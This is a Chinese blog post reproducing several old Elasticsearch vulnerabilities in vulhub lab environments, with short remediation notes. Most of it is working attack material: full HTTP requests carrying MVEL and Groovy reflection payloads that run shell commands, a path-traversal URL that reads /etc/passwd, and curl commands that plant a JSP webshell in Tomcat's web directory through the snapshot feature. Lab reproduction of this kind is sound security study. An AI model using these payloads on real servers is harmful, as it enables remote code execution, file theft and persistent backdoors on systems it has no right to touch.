Elasticsearch漏洞复现

简介

漏洞环境均为vulhub。

参考链接:

百科:https://baike.baidu.com/item/elasticsearch/3411206?fr=aladdin

https://blog.csdn.net/xiaoshuo566/article/details/102896173

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。Elasticsearch用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。官方客户端在Java、.NET(C#)、PHP、Python、Apache Groovy、Ruby和许多其他语言中都是可用的。根据DB-Engines的排名显示,Elasticsearch是最受欢迎的企业搜索引擎,其次是Apache Solr,也是基于Lucene。

ElasticSearch启动时,会占用两个端口9200和9300。

  • 9200 是ES节点与外部通讯使用的端口。它是http协议的RESTful接口(各种CRUD操作都是走的该端口,如查询:http://localhost:9200/user/_search)。
  • 9300是ES节点之间通讯使用的端口。它是tcp通讯端口,集群间和TCPclient都走的它。(java程序中使用ES时,在配置文件中要配置该端口)

CVE-2014-3120

参考链接:

https://www.cnblogs.com/sallyzhang/p/12450035.html

https://www.tqwba.com/x_d/jishu/421071.html

https://blog.csdn.net/qq_36374896/article/details/84145336

ElasticSearch有脚本运行(scripting)的功能,能够非常方便地对查询出来的数据再加工处理。 ElasticSearch用的脚本引擎是MVEL,这个引擎没有做不论什么的防护,或者沙盒包装,所以直接能够运行随意代码。

影响版本:ElasticSearch 1.2之前的版本

漏洞复现

启动docker环境,使用浏览器访问9200端口,首先需要使用ElasticSearch的目录创建数据。最开始我还以为访问uri会有web页面,发现并没有,所以下面的请求包可以直接在burp中使用,name名字自定义。

POST /website/blog/ HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 24

{
	"name": "ahtoh"
}

创建成功。

使用漏洞payload进行命令执行,也是直接使用POST包,尴尬。。。

POST /_search?pretty HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 366

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"
        }
    }
}
    }
}

命令执行成功截图。

其中Java等价于:

String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\A").next();
//A means "start of string", and z means "end of string".
String s2  = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
System.out.println(s1);

漏洞修复

  1. 升级版本。
  2. 在elasticsearch.yml里配置script.disable_dynamic: true

CVE-2015-1427

参考链接:

https://www.cnblogs.com/qianxiao996/p/13574653.html

https://www.cnblogs.com/sxmcACM/p/4435842.html

2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

这次轮到的Groovy,影响版本是Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。

漏洞复现

跟2014-3120一样,复现前得先添加一条数据,还是这个。

POST /website/blog/ HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 24

{
	"name": "ahtoh"
}

执行成功会响应201,如上。

利用反射机制执行JAVA代码Payload:

POST /_search?pretty HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 489

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }
}

执行成功截图:

漏洞修复

升级到 1.4.3 或者更新版本来修复这个漏洞

CVE-2015-3337(任意文件读取)

参考链接:

https://blog.csdn.net/qq_36374896/article/details/84145527

ElasticSearch安装site插件后,通过…/可以向上层目录跳转,导致任意文件读取。

漏洞复现

访问目的地址:http://139.198.172.202:9200/_plugin/head/

emm,这个漏洞我一直复现失败,提示404,不知道为啥,就是文件读取,先不复现了。

CVE-2015-5531(目录穿越)

参考链接:

https://www.cnblogs.com/sallyzhang/p/12457031.html

https://www.cnblogs.com/qianxiao996/p/13574645.html

https://www.anquanke.com/vul/id/1123057

1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

这个1.5.1可能有问题,因为我查到的其他漏洞版本都是1.6.1之前版本,这个我没有细纠了,因为我懒。

漏洞复现

使用PUT方式新建一个仓库。

PUT /_snapshot/test HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

新建仓库成功。

创建一个快照。

PUT /_snapshot/test2 HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 126

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

快照创建成功截图。

访问链接进行文件读取操作:

http://139.198.172.202:9200/_snapshot/test/backdata%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

读取内容结果:

读取后的内容是以ASCII码的形式返回,通过在Firefox或chrome浏览器的控制台中,输入String.fromCharCode(ASCII)进行结果查看。

漏洞修复

没有找到,

WooYun-2015-110216

参考链接:

http://akevin.cn/index.php/archives/317/

https://www.77169.net/html/258764.html

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。

漏洞复现

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch。我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

使用kali或其他Linux系统执行下面命令,创建一个恶意索引文档。

curl -XPOST http://139.198.172.202:9200/yz.jsp/yz.jsp/1 -d '{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'

为啥要是用Linux系统执行这个curl命令,因为我用Windows自带的老是失败

但是Linux的很容易成功。

再使用curl创建一个恶意的存储库,其中location的值即为我们要写入的路径。写入文件的路径可以根据自己需要自定义,如果写入的路径不存在会自动创建,路径指向tomcat的web部署目录即可。

这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

curl -XPUT 'http://139.198.172.202:9200/_snapshot/yz.jsp' -d '{ "type": "fs", "settings": { "location": "/usr/local/tomcat/webapps/wwwroot/", "compress": false } }'

存储库验证并创建。

curl -XPUT "http://139.198.172.202:9200/_snapshot/yz.jsp/yz.jsp" -d '{ "indices": "yz.jsp", "ignore_unavailable": "true", "include_global_state": false }'

至此我们要写入webshell的文件已经创建完成,访问该文件。

http://139.198.172.202:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp

页面显示500,但是没有关系,我们在后面传入参数f,并指定一值ahtoh,便可以将ahtoh写入到/wwwroot/test.jsp文件中。

漏洞修复

  1. 升级elasticsearch版本
  2. 漏洞利用条件还是有要求的,根据原理进行修复
本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/14763396.html